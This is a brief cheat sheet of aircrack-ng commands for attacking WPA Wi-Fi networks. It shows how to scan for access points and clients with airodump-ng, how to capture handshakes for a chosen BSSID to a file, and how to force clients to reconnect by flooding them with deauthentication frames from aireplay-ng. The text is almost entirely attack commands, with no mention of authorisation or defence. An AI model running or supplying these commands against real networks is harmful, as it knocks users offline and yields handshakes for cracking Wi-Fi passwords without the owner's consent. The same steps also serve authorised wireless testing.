Scan for access points and clients in all channels
airodump-ng <interface>
Capture client handshakes to a specific access point
airodump-ng -c <channel> --bssid <access_point_mac_address> <interface> -w /tmp/dump
Force clients to handshake by deauthenticating them
aireplay-ng --deauth 10 -a <access_point_mac_address> <interface>
You'll know that you've captured a client handshake when you see WPA handshake: <access_point_mac_address>
printed from airodump-ng
.